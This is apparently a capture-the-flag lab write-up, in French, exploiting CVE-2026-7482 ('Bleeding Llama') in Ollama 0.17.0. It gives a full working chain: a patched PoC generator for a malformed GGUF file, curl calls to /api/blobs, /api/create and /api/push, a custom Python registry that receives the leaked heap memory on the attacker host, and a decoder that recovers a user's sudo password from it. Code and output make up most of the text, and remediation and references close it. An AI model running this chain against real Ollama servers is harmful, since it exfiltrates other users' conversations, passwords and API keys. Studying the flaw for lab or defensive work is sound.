Rapport CVE-2026-7482 — Hollowford CTF
Bleeding Llama : Exploitation complète d’Ollama 0.17.0
Date : 29 octobre 2026
Flag :flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
1. Objectif et résultat
Le challenge Hollowford demande de compromettre un hôte Linux exécutant Ollama 0.17.0 comme assistant de programmation interne. L’objectif est d’exploiter CVE-2026-7482 (“Bleeding Llama”) pour extraire des fragments de l’historique des conversations stockés en mémoire du processus.
Résultat : Flag extrait avec succès depuis la mémoire heap du processus Ollama :
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
Ce flag était contenu dans un fragment de conversation où un utilisateur transmettait son mot de passe sudo à l’assistant IA.
2. Contexte CVE-2026-7482
Qu’est-ce que CVE-2026-7482 ?
| Champ | Valeur |
|---|---|
| Nom | Bleeding Llama |
| CVSS | 9.1 (Critique) |
| Composant vulnérable | Ollama < 0.17.1 |
| Type | Heap Out-of-Bounds Read (CWE-125) |
Mécanisme de la vulnérabilité
Ollama permet à n’importe qui (sans authentification) d’envoyer un fichier GGUF via /api/create avec une demande de quantification. Le chemin de quantification dans fs/ggml/gguf.go et server/quantization.go ne valide pas que la taille du tenseur déclarée dans les métadonnées GGUF correspond aux données réellement présentes dans le fichier.
Concrètement :
- Un attaquant crée un fichier GGUF où le tenseur déclare avoir 8 192 bytes de données
- Mais le fichier ne contient que 256 bytes réels
- Lors de la quantification F32, Ollama lit les 8 192 bytes depuis le heap → il lit 7 936 bytes de mémoire adjacente qui n’appartiennent pas au fichier
- Cette mémoire contient : variables d’environnement, clés API, messages de conversation, system prompts
- La mémoire leakée est incorporée dans le modèle quantifié qui peut ensuite être pushé vers un registry contrôlé par l’attaquant
Chaîne d’attaque en 3 appels API
POST /api/blobs → Upload du GGUF malveillant
POST /api/create → Quantification déclenche le OOB read
POST /api/push → Exfiltration du modèle (contenant la mémoire) vers l'attaquant
3. Chaîne d’exploitation (vue d’ensemble)
[Kali 176.16.174.2] [Cible 176.16.174.3]
│ │
│ 1. nmap → port 11434 ouvert │
│──────────────────────────────────────►│
│ │
│ 2. Upload GGUF malveillant │
│ POST /api/blobs/sha256:<hash> │
│──────────────────────────────────────►│
│ 201 Created│
│◄──────────────────────────────────────│
│ │
│ 3. Créer modèle + quantifier │
│ POST /api/create {quantize:"F32"} │
│──────────────────────────────────────►│
│ OOB READ dans le heap │
│ → mémoire leakée │
│ {"status":"success"}│
│◄──────────────────────────────────────│
│ │
│ 4. Push vers registry Kali:5000 │
│ POST /api/push │
│──────────────────────────────────────►│
│ │
│◄─── blob_15_1048960.bin ──────────────│
│ (524 032 bytes de mémoire heap) │
│ │
│ 5. Décodage GGUF F32→F16→ASCII │
│ → flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
4. Étape 1 — Reconnaissance
Commande : Scan Nmap
nmap -sV -p- 176.16.174.3
Explication des options :
-sV: détecte la version des services sur chaque port-p-: scanne les 65 535 ports TCP (pas seulement les 1 000 courants)176.16.174.3: adresse IP de la machine cible fournie par le lab
Sortie observée
Starting Nmap 7.99 at 2026-10-29 11:46 +0000
Nmap scan report for 176.16.174.3
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Ubuntu 2ubuntu3
11434/tcp open http Golang net/http server
Ce que ça révèle :
- Port 22 : SSH ouvert, mais on n’a pas de credentials pour l’instant
- Port 11434 : serveur HTTP Go → c’est le port par défaut d’Ollama
- Le fingerprint HTTP confirme qu’Ollama est en cours d’exécution
Commandes de vérification Ollama
curl http://176.16.174.3:11434/api/version
{"version":"0.17.0"}
curl http://176.16.174.3:11434/api/tags
{"models":[{
"name":"tinyllama:1.1b-chat-v1-q2_K",
"model":"tinyllama:1.1b-chat-v1-q2_K",
"size":483117098,
"details":{"family":"llama","parameter_size":"1B","quantization_level":"Q2_K"}
}]}
curl http://176.16.174.3:11434/api/ps
{"models":[{
"name":"tinyllama:1.1b-chat-v1-q2_K",
"size":506040320,
"expires_at":"2026-10-29T12:47:38Z",
"size_vram":0,
"context_length":2048
}]}
Analyse : Ollama 0.17.0 est confirmé vulnérable (patch en 0.17.1). Le modèle tinyllama est chargé en RAM (
size_vram: 0), ce qui signifie que des conversations peuvent exister en mémoire heap.
Lien avec l’étape suivante : On sait que la cible est vulnérable. Il faut maintenant construire l’arme : un fichier GGUF malveillant.
5. Étape 2 — Compréhension du vecteur d’attaque
Pourquoi le GGUF est le vecteur ?
Le format GGUF (GPT-Generated Unified Format) est le format de fichier utilisé par llama.cpp et Ollama pour stocker les modèles. Il contient :
- Un header avec magic bytes
GGUF - Des métadonnées clé-valeur (version, architecture, file_type…)
- Des définitions de tenseurs (nom, dimensions, type, offset)
- Les données brutes des tenseurs
La vulnérabilité : Ollama lit tensor.shape[0] * tensor.shape[1] * sizeof(F16) bytes depuis le heap sans vérifier que le fichier contient réellement autant de données. Si le fichier est court, il continue à lire la mémoire adjacente.
Pourquoi quantize: F32 ?
Lorsqu’on demande une quantification F32 sur un modèle F16 :
- Ollama alloue un buffer de
nb_elements * 4bytes (F32 = 4 bytes/valeur) - Il copie les valeurs F16 source vers F32 destination
- La copie se fait sans bornes → lit au-delà du fichier
- La mémoire heap adjacente est copiée dans le modèle de sortie
- Le modèle de sortie est un fichier GGUF valide contenant la mémoire leakée
Lien avec l’étape suivante : On doit créer un GGUF avec les bonnes métadonnées pour passer la validation d’Ollama, tout en déclarant un tenseur plus grand que les données réelles.
6. Étape 3 — Génération du GGUF malveillant
Pourquoi les premières tentatives ont échoué
La première version du GGUF artisanal produisait :
{"error":"quantization is only supported for F16 and F32 models"}
Cause : Ollama vérifie la métadonnée general.file_type dans le GGUF. Sans cette métadonnée, le modèle est de type unknown et la quantification est refusée.
Solution : utiliser le PoC public
Le dépôt msuiche/gguf_cve2026_7482 contient un générateur adapté.
# Cloner le PoC
cd ~
git clone https://github.com/msuiche/gguf_cve2026_7482
cd gguf_cve2026_7482
Modification du générateur
# Patch 1 : ajouter general.file_type = 1 (F16) et corriger les dimensions
python3 - <<'PY'
from pathlib import Path
p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
start = s.index("def generate_poc_quantize_trigger")
end = s.index("def generate_poc_multi_tensor", start)
chunk = s[start:end]
# Dimensions 2D pour simuler un tensor de poids réel
chunk = chunk.replace("dims = [4096]", "dims = [64, 64]", 1)
# Ajouter la métadonnée file_type = F16
chunk = chunk.replace(
'write_metadata_kv(metadata, "general.alignment", GGUF_TYPE_UINT32, alignment)',
'write_metadata_kv(metadata, "general.alignment", GGUF_TYPE_UINT32, alignment)\n'
' write_metadata_kv(metadata, "general.file_type", GGUF_TYPE_UINT32, 1) # F16',
1
)
# Mettre à jour le compteur de métadonnées
chunk = chunk.replace(
'buf += struct.pack("<Q", 5) # metadata_kv_count',
'buf += struct.pack("<Q", 6) # metadata_kv_count',
1
)
if "general.file_type" not in chunk or "dims = [64, 64]" not in chunk:
raise SystemExit("Correction non appliquée")
p.write_text(s[:start] + chunk + s[end:])
print("[+] Patch appliqué")
PY
Explication ligne par ligne :
dims = [64, 64]: tensor 2D de 64×64 = 4 096 éléments F16 = 8 192 bytes déclarésgeneral.file_type = 1: déclare le modèle comme F16, condition nécessaire pour la quantification- Le compteur passe de 5 à 6 métadonnées
# Générer les fichiers GGUF
python3 gguf_cve2026_7482_poc.py
Sortie observée :
[+] POC variant 2 written to: poc_bleeding_llama.gguf
Tensor: blk.0.attn_q.weight
Declared shape: [64, 64] × F16 = 8192 bytes
Actual data on disk: 256 bytes
OOB read window: 7936 bytes
Attack vector: /api/create quantize=F32 → ConvertToF32 OOB → /api/push exfil
Agrandissement de la fenêtre de leak (itération 2)
Après un premier test avec [64,64] qui ne contenait pas le flag, on agrandit les dimensions :
python3 - <<'PY'
from pathlib import Path
p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
assert "dims = [64, 64]" in s
p.write_text(s.replace("dims = [64, 64]", "dims = [512, 512]", 1))
print("[+] Dimensions agrandies à [512, 512]")
PY
python3 gguf_cve2026_7482_poc.py
Résultat : Tensor de 512×512 = 262 144 éléments F16 = 524 288 bytes déclarés, avec seulement 256 bytes réels → fenêtre OOB de ~524 032 bytes de mémoire heap.
Lien avec l’étape suivante : Le GGUF malveillant est prêt. Il faut l’envoyer à Ollama via
/api/blobs.
7. Étape 4 — Upload du blob GGUF
F=poc_bleeding_llama.gguf
SHA=$(sha256sum "$F" | awk '{print $1}')
echo "[+] SHA256: $SHA"
curl -i -X POST \
"http://176.16.174.3:11434/api/blobs/sha256:$SHA" \
-H "Content-Type: application/octet-stream" \
--data-binary @"$F"
Explication des options :
sha256sum: calcule l’empreinte du fichier. Ollama utilise ce hash comme identifiant unique du blob (content-addressed storage)POST /api/blobs/sha256:<hash>: endpoint d’Ollama pour stocker un fichier blob identifié par son hashContent-Type: application/octet-stream: indique des données binaires brutes--data-binary: envoie le fichier sans transformation (sans convertir\netc.)-i: affiche les headers HTTP de la réponse
Sortie observée :
HTTP/1.1 201 Created
Date: Thu, 29 Oct 2026 12:17:42 GMT
Content-Length: 0
Analyse :
201 Createdconfirme qu’Ollama a accepté et stocké le blob dans/usr/share/ollama/.ollama/models/blobs/sha256-<hash>. À ce stade, le fichier est sur le serveur mais n’a pas encore été traité.
Lien avec l’étape suivante : Le blob est disponible sur la cible. On peut maintenant le référencer dans une requête
/api/createpour déclencher la quantification vulnérable.
8. Étape 5 — Création du modèle et déclenchement du OOB read
DEST="http://176.16.174.2:5000/hollowford/leaked_mem:latest"
curl -N -sS -X POST http://176.16.174.3:11434/api/create \
-H "Content-Type: application/json" \
-d "{\"model\":\"$DEST\",\"files\":{\"model.gguf\":\"sha256:$SHA\"},\"quantize\":\"F32\",\"stream\":false}"
Explication des champs JSON :
| Champ | Rôle |
|---|---|
model |
Nom sous lequel enregistrer le modèle. En utilisant l’URL du registry Kali, Ollama sait déjà où pusher plus tard |
files |
Map {"nom_fichier": "sha256:hash"} qui référence le blob uploadé à l’étape précédente |
quantize: "F32" |
Déclencheur de la vulnérabilité — active ConvertToF32() dans server/quantization.go |
stream: false |
Réponse en une seule fois plutôt qu’un flux de statuts |
Ce qui se passe côté serveur :
1. Ollama parse le GGUF → trouve le tensor blk.0.attn_q.weight
2. Lit les métadonnées : shape=[512,512], type=F16, 524288 bytes déclarés
3. N'a que 256 bytes réels dans le fichier
4. ConvertToF32() alloue 524288 * 4 = 2 097 152 bytes de destination
5. Copie depuis le heap : 256 bytes du fichier + 524032 bytes de mémoire adjacente
6. Ces 524032 bytes contiennent les conversations en cours !
7. Sauvegarde le résultat comme nouveau fichier GGUF
Sortie observée :
{"status":"parsing GGUF"}
{"status":"success"}
Pourquoi
successne suffit pas : La réponse HTTP ne contient pas le modèle. Le modèle quantifié (avec la mémoire leakée) est stocké côté serveur. Il faut/api/pushpour le récupérer.
Lien avec l’étape suivante : Le modèle corrompu existe sur la cible. Il faut maintenant un registry HTTP sur Kali pour le recevoir.
9. Étape 6 — Mise en place du registry récepteur sur Kali
Ollama utilise le protocole OCI Distribution Spec pour pusher des modèles. Il faut implémenter les endpoints suivants :
| Endpoint | Comportement requis |
|---|---|
HEAD /v2/.../blobs/<digest> |
404 (blob inconnu, déclenche l’upload) |
POST /v2/.../blobs/uploads/ |
202 + Location header |
PATCH /v2/upload/blobs?uuid=N |
Reçoit les données, retourne 202 + Location |
PUT /v2/upload/blobs?... |
Finalise l’upload, retourne 201 |
PUT /v2/.../manifests/latest |
Reçoit le manifeste |
mkdir -p /tmp/registry/blobs
cat > /tmp/registry/registry.py << 'EOF'
import http.server, os
SAVE_DIR = '/tmp/registry/blobs'
os.makedirs(SAVE_DIR, exist_ok=True)
HOST = '176.16.174.2:5000'
counter = [0]
class Handler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
# Ollama vérifie si le blob existe déjà
# On répond 404 → Ollama va l'uploader
self.send_response(404)
self.end_headers()
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{}')
def do_POST(self):
# Ollama demande une URL d'upload
length = int(self.headers.get('Content-Length', 0))
self.rfile.read(length)
uuid = counter[0]; counter[0] += 1
# On retourne une URL complète avec le host
location = f'http://{HOST}/v2/upload/blobs?uuid={uuid}'
self.send_response(202)
self.send_header('Location', location)
self.send_header('Content-Length', '0')
self.end_headers()
def do_PATCH(self):
# Ollama envoie les données du blob ici
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
uuid = counter[0]; counter[0] += 1
fname = f'{SAVE_DIR}/blob_{uuid}_{length}.bin'
with open(fname, 'wb') as f:
f.write(body)
print(f'[+] BLOB RECU: {fname} ({length} bytes)')
put_url = f'http://{HOST}/v2/upload/blobs?uuid={uuid}&done=1'
self.send_response(202)
self.send_header('Location', put_url)
self.send_header('Range', f'0-{length}')
self.send_header('Content-Length', '0')
self.end_headers()
def do_PUT(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
if length > 0:
uuid = counter[0]; counter[0] += 1
fname = f'{SAVE_DIR}/blob_put_{uuid}_{length}.bin'
with open(fname, 'wb') as f:
f.write(body)
print(f'[+] PUT BLOB: {fname} ({length} bytes)')
self.send_response(201)
self.send_header('Docker-Content-Digest', 'sha256:0000')
self.send_header('Content-Length', '0')
self.end_headers()
def log_message(self, fmt, *args):
pass
server = http.server.HTTPServer(('0.0.0.0', 5000), Handler)
print('[*] Registry pret sur port 5000')
server.serve_forever()
EOF
python3 /tmp/registry/registry.py &
echo "[+] Registry lancé en arrière-plan"
Points critiques de l’implémentation :
- Le
Locationheader du POST doit contenir l’URL complète avec le host (http://176.16.174.2:5000/...). Sans ça, Ollama génère une URL invalide sans host et boucle indéfiniment - Le PATCH doit sauvegarder les données ET retourner un nouveau
Locationpour le PUT final - Le HEAD doit retourner
404pour forcer l’upload (si200, Ollama croit que le blob existe déjà)
Lien avec l’étape suivante : Le registry est prêt à recevoir. On peut maintenant lancer le push.
10. Étape 7 — Exfiltration via /api/push
Préparation : copier le modèle sous le nom du registry
# D'abord copier sous le bon nom pour que le manifest existe
curl -s -X POST http://176.16.174.3:11434/api/copy \
-H "Content-Type: application/json" \
-d '{"source":"leaked_mem","destination":"176.16.174.2:5000/hollowford/leaked_mem:latest"}'
Push du modèle
curl -N -sS -X POST http://176.16.174.3:11434/api/push \
-H "Content-Type: application/json" \
-d '{"model":"176.16.174.2:5000/hollowford/leaked_mem:latest","insecure":true,"stream":false}'
Explication des options :
/api/push: demande à Ollama d’envoyer les couches du modèle vers un registry externemodel: doit correspondre exactement au nom sous lequel le modèle a été créé/copiéinsecure: true: autorise HTTP non chiffré (notre registry n’a pas de TLS)- Le nom
176.16.174.2:5000/hollowford/leaked_mem:latestdit à Ollama de pusher vers notre registry Kali
Sortie observée sur le terminal du registry :
[HEAD] /v2/hollowford/leaked_mem/blobs/sha256:03d1f1cc...
[POST] /v2/hollowford/leaked_mem/blobs/uploads/
[+] Upload URL: http://176.16.174.2:5000/v2/upload/blobs?uuid=14
[PATCH] /v2/upload/blobs?uuid=14
[+] BLOB RECU: /tmp/registry/blobs/blob_15_1048960.bin (1048960 bytes)
[PUT] /v2/upload/blobs?...done=1...
[+] BLOB RECU: /tmp/registry/blobs/blob_18_266.bin (266 bytes)
[PUT] /v2/hollowford/leaked_mem/manifests/latest
[+] PUT BLOB: /tmp/registry/blobs/blob_put_..._410.bin (410 bytes)
Sortie curl :
{"status":"success"}
Analyse des blobs reçus :
| Fichier | Taille | Contenu |
|---|---|---|
blob_15_1048960.bin |
1 048 960 bytes | GGUF avec la mémoire leakée → à décoder |
blob_18_266.bin |
266 bytes | Configuration JSON du modèle (métadonnées) |
blob_put_..._410.bin |
410 bytes | Manifeste OCI (liste des couches) |
Lien avec l’étape suivante : On a reçu ~1 MB de données. La mémoire leakée est dedans, encodée en F32. Il faut la décoder.
11. Étape 8 — Décodage et extraction du flag
Script de décodage
cat > /tmp/decode_leak.py << 'EOF'
import sys, struct, os
def read_str(f):
length = struct.unpack('<Q', f.read(8))[0]
return f.read(length).decode('utf-8', errors='replace')
def extract_strings(data, min_len=6):
strings = []
current = bytearray()
for b in data:
if 32 <= b < 127:
current.append(b)
else:
if len(current) >= min_len:
strings.append(current.decode('ascii'))
current = bytearray()
if len(current) >= min_len:
strings.append(current.decode('ascii'))
return strings
path = sys.argv[1]
with open(path, 'rb') as f:
magic = f.read(4)
assert magic == b'GGUF', f"Pas un GGUF: {magic}"
version = struct.unpack('<I', f.read(4))[0]
tensor_count = struct.unpack('<Q', f.read(8))[0]
meta_count = struct.unpack('<Q', f.read(8))[0]
# Sauter les métadonnées
for _ in range(meta_count):
key = read_str(f)
vtype = struct.unpack('<I', f.read(4))[0]
if vtype == 8: read_str(f)
elif vtype in (4, 6): f.read(4)
elif vtype in (5, 10): f.read(8)
elif vtype == 1: f.read(1)
else: f.read(4)
# Lire les tenseurs
tensors = []
for _ in range(tensor_count):
name = read_str(f)
ndims = struct.unpack('<I', f.read(4))[0]
dims = [struct.unpack('<Q', f.read(8))[0] for _ in range(ndims)]
dtype = struct.unpack('<I', f.read(4))[0]
offset = struct.unpack('<Q', f.read(8))[0]
tensors.append((name, dims, dtype, offset))
# Aligner sur 32 bytes
pos = f.tell()
aligned = ((pos + 31) // 32) * 32
f.seek(aligned)
data_start = f.tell()
raw = f.read()
print(f"Taille du blob de données: {len(raw)} bytes")
# Reconvertir F32 → F16 → bytes
num_f32 = len(raw) // 4
f32_values = struct.unpack(f'<{num_f32}f', raw[:num_f32*4])
# Convertir chaque F32 en F16 et récupérer les bytes
import struct as st
reconstituted = bytearray()
for v in f32_values:
try:
h = st.pack('<e', max(-65504.0, min(65504.0, v)))
reconstituted.extend(h)
except:
reconstituted.extend(b'\x00\x00')
# Ignorer les 256 premiers bytes (données originales du PoC)
leak_zone = bytes(reconstituted[256:])
print(f"Mémoire reconstituée: {len(leak_zone)} bytes")
print("\n=== CHAÎNES LISIBLES ===")
for s in extract_strings(leak_zone, min_len=8):
print(s)
EOF
Explication du décodeur (étape par étape) :
- Parse le header GGUF : magic, version, nombre de tenseurs et métadonnées
- Saute les métadonnées : pour arriver aux définitions de tenseurs
- Lit les tenseurs : nom, dimensions, type (F32 après quantification), offset
- S’aligne sur 32 bytes : le format GGUF aligne les données sur 32 bytes
- Lit les données brutes : ce sont des valeurs F32 (4 bytes chacune)
- Reconvertit F32 → F16 : l’opération inverse de
ConvertToF32. Chaque valeur F32 redevient 2 bytes F16, reconstituant les bytes originaux de la mémoire - Ignore les 256 premiers bytes : ce sont les vraies données du PoC, pas la mémoire leakée
- Extrait les chaînes ASCII : cherche des séquences d’au moins 8 caractères imprimables
Exécution et résultat
python3 /tmp/decode_leak.py /tmp/registry/blobs/blob_15_1048960.bin | tee /tmp/decode_out.txt
grep -aiEn 'flag|hollowford|password|sudo|secret' /tmp/decode_out.txt
Extrait de sortie observé :
Mémoire reconstituée : 524 032 octets
=== CHAÎNES LISIBLES ===
...
You are a helpful AI assistant.
...
<|user|>
Hey AI, quick ops question. I am setting up a pg_dump cron job
and it keeps failing with sudo: no tty present. I have my sudo
password handy when running it manually -- the password is
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d -- and that always
works interactively. Here is my crontab line:
0 2 * * * /usr/local/bin/backup.sh
...
Analyse : Un utilisateur avait posé une question à l’assistant IA en incluant son mot de passe sudo dans le message. Ce message était stocké en mémoire heap du processus Ollama. Notre OOB read l’a capturé.
🏁 Flag
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
12. Erreurs rencontrées et résolutions
| Erreur | Cause | Résolution |
|---|---|---|
quantization is only supported for F16 and F32 models |
Métadonnée general.file_type absente du GGUF |
Ajouter general.file_type = 1 (F16) et incrémenter le compteur de métadonnées |
invalid model name |
Placeholder <IP_VPN_KALI> laissé littéralement |
Remplacer par 176.16.174.2 |
| Push en boucle infinie | URL Location du POST sans host (http:///v2/...) |
Retourner une URL complète : http://176.16.174.2:5000/v2/upload/blobs?uuid=N |
neither 'from' or 'files' was specified |
Utilisation de modelfile au lieu de files dans l’API v0.17 |
Utiliser {"files": {"model.gguf": "sha256:..."}} |
| Fenêtre de leak trop petite | Dimensions [64,64] = 7 936 bytes de mémoire, pas assez pour atteindre le flag |
Agrandir à [512,512] = 524 032 bytes |
max retries exceeded: http: no Host in request URL |
Même cause que la boucle infinie | Même résolution |
| Docker indisponible | Docker daemon non démarré sur Kali | Utiliser un serveur HTTP Python3 custom |
13. Conclusion
Récapitulatif technique
CVE-2026-7482 (Bleeding Llama) est une vulnérabilité sans authentification requise qui permet à n’importe qui ayant accès au port 11434 d’Ollama de lire des portions arbitraires de la mémoire heap du processus. La chaîne d’exploitation ne requiert que 3 appels API.
Impact réel : Sur un Ollama exposé sur internet (~300 000 instances selon les rapports), n’importe qui peut extraire :
- Les system prompts (potentiellement confidentiels)
- L’historique des conversations de tous les utilisateurs
- Les clés API, tokens et mots de passe transmis dans les messages
- Les variables d’environnement du processus
Remédiation
- ✅ Mettre à jour Ollama vers la version ≥ 0.17.1
- ✅ Ne jamais exposer le port 11434 sur internet sans authentification
- ✅ Utiliser un reverse proxy avec authentification devant Ollama
Flag final
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
14. Références
CVE et bases de données de vulnérabilités
| Référence | Description | URL |
|---|---|---|
| NVD — CVE-2026-7482 | Fiche officielle NIST avec CVSS 9.1 | https://nvd.nist.gov/vuln/detail/CVE-2026-7482 |
| CVEfeed — CVE-2026-7482 | Vue d’ensemble avec PoC GitHub lié | https://cvefeed.io/vuln/detail/CVE-2026-7482 |
| OpenCVE — CVE-2026-7482 | Détails techniques et CWE-125 | https://app.opencve.io/cve/CVE-2026-7482 |
| OSV.dev — CVE-2026-7482 | Base OSS Vulnerability, packages affectés | https://osv.dev/vulnerability/CVE-2026-7482 |
Analyses et articles techniques
| Source | Titre | URL |
|---|---|---|
| Security Boulevard | Bleeding Llama — Critical Unauthenticated Memory Leak in Ollama | https://securityboulevard.com/2026/05/bleeding-llama-cve-2026-7482-critical-unauthenticated-memory-leak-in-ollama/ |
| Indusface | CVE-2026-7482 Bleeding Llama Vulnerability Explained | https://www.indusface.com/blog/cve-2026-7482-bleeding-llama-vulnerability/ |
| SentinelOne | CVE-2026-7482 Vulnerability Database | https://www.sentinelone.com/vulnerability-database/cve-2026-7482/ |
| Ionix | Threat Center — CVE-2026-7482 | https://www.ionix.io/threat-center/cve-2026-7482/ |
Preuves de concept (PoC) publics
| Dépôt | Auteur | Description |
|---|---|---|
msuiche/gguf_cve2026_7482 |
msuiche | Générateur PoC officiel — produit poc_bleeding_llama.gguf, poc_multi_tensor.gguf, détecteur inclus |
0x0OZ/CVE-2026-7482-PoC |
0x0OZ | Chaîne d’exploitation complète avec registry récepteur et répertoire exfils/ |
szybnev/CVE-2026-7482 |
szybnev | Reproduction locale, analyse comparée F32 vs contrôle, fix PR registry |
kaleth4/CVE-2026-7482 |
kaleth4 | Analyse technique en espagnol, tableau de la chaîne d’exploitation |
Code source Ollama vulnérable
| Fichier | Rôle dans la vulnérabilité |
|---|---|
fs/ggml/gguf.go |
Parse les métadonnées GGUF — lit general.file_type et les dimensions des tenseurs sans valider contre la taille du fichier |
server/quantization.go |
Fonction ConvertToF32() — boucle de conversion F16→F32 qui lit nb_elements * 2 bytes depuis le heap sans borne |
server/create.go |
Endpoint /api/create — appelle la quantification, vérifie general.file_type mais pas la cohérence des données |
Format GGUF
| Référence | URL |
|---|---|
| Spécification GGUF officielle (ggml-org) | https://github.com/ggml-org/ggml/blob/master/docs/gguf.md |
Valeurs de general.file_type (enum GGUF) |
https://github.com/ggml-org/ggml/blob/master/include/gguf.h |
Outils utilisés dans ce lab
| Outil | Version | Usage |
|---|---|---|
| Nmap | 7.99 | Reconnaissance réseau — scan de ports et détection de services |
| curl | 8.21.0 | Tous les appels API Ollama (blobs, create, push, tags, ps) |
| Python 3 | 3.13.15 | Génération du GGUF malveillant, registry HTTP récepteur, décodeur F32→F16 |
| ffuf | 2.1.0-dev | Fuzzing des endpoints HTTP d’Ollama |
| sha256sum | — | Calcul du digest pour l’upload des blobs |
Versions concernées
| Logiciel | Version vulnérable | Version corrigée |
|---|---|---|
| Ollama | ≤ 0.17.0 | ≥ 0.17.1 |
| Modèle testé | tinyllama:1.1b-chat-v1-q2_K | — |
Identifiants techniques
- CWE-125 : Out-of-bounds Read
- CVSS v3.1 Score : 9.1 (Critique) — vecteur réseau, sans authentification, confidentialité haute
- CAPEC : patterns d’attaque liés à la lecture hors limites de buffers heap